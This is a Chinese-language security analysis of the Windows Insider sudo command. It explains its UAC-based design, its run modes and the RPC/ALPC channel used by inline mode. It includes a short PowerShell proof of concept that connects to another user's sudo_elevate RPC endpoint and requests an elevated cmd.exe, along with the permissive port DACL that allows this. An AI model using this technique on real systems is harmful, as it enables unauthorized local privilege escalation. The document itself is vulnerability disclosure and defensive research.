Windows Sudo 命令快速解析
背景
Windows Insider Preview build 26052 引入了 sudo 命令。本文对其功能实现机制进行初步分析,并指出当前实现仍处于早期阶段。官方公告可在此查看。
使用示例:
|
|
技术实现
Windows 安全模型与 UAC 依赖
Windows 不存在 SUID 二进制文件等效机制。提升进程权限的唯一方式是通过现有高权限进程启动,或用户自身具备 SeImpersonatePrivilege 等权限并持有高权限用户的访问令牌。自 Vista 起,UAC 是标准用户运行特权代码的主要途径。sudo 底层通过 ShellExecute 的 runas 动词生成进程,实质是 UAC 的封装。
运行模式分析
系统设置中可配置四种模式(需重启生效):
- 禁用模式(值 0):注册表键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Sudo中Enabled值为 0。 - 新窗口模式(值 1):通过
ShellExecute调用runas,触发标准 UAC 对话框。等效于 PowerShell 命令:1Start-Process -Verb runas powershell.exe - 输入禁用模式(值 2)与行内模式(值 3):共享标准句柄附加到当前控制台。底层通过提升的
sudo副本执行命令,例如:1sudo elevate -p 1234 powershell.exe- 输入禁用模式:仅允许输出文本,禁止交互。
- 行内模式:允许在同一控制台会话中运行特权命令,存在恶意代码注入击键控制特权进程的风险。
RPC 通信机制
行内模式依赖 RPC 通道绕过 UAC 限制(如无法附加特权控制台进程、未传递当前目录和环境变量)。RPC 服务器接口通过 ncalrpc 注册,端口命名格式为 sudo_elevate_PID(PID 为 -p 参数值)。
接口定义(通过 NtObjectManager 提取):
|
|
关键函数 server_DoElevationRequest 参数:
HANDLE p0:调用进程句柄。int p1:进程类型(2=输入禁用,3=行内)。char* p2:ANSI 格式命令行。char* p5:当前目录。byte* p8:环境块指针。
安全漏洞
- 无调用者校验:任何进程均可连接至运行中的 RPC 服务器(通过枚举
\RPC Control下的 ALPC 端口),例如:1 2 3$c = Get-RpcClient $rpc Connect-RpcClient $c -EndpointPath sudo_elevate_4652 $c.server_DoElevationRequest((Get-NtProcess -ProcessId $pid), 3, "cmd.exe", @(), 0, "C:\", 1, 0, @(), 0) - ALPC 端口权限配置错误:端口 DACL 包含 Everyone 组,甚至允许受限令牌(如 Chromium GPU 进程)访问:
输出显示:
1 2 3$as = Get-NtAlpcServer $sudo = $as | ? Name -Match sudo Format-NtSecurityDescriptor $sudo -Summary1 2 3Everyone: (Allowed)(None)(Connect|Delete|ReadControl) NT AUTHORITY\RESTRICTED: (Allowed)(None)(Connect|Delete|ReadControl) BUILTIN\Administrators: (Allowed)(None)(Full Access) - 跨用户权限提升风险:在终端服务器等共享环境中,低权限用户可利用此漏洞获取管理员权限。
总结
sudo实现依赖 UAC,未引入高权限服务中介。- 缺乏策略支持(如命令白名单、密码验证)。
- RPC 服务器存在严重权限配置缺陷,导致本地权限提升风险。
- 尽管大部分代码使用 Rust 编写,逻辑缺陷仍暴露了安全设计不足。
本文基于技术分析,强调微软需在正式版中修复这些安全问题。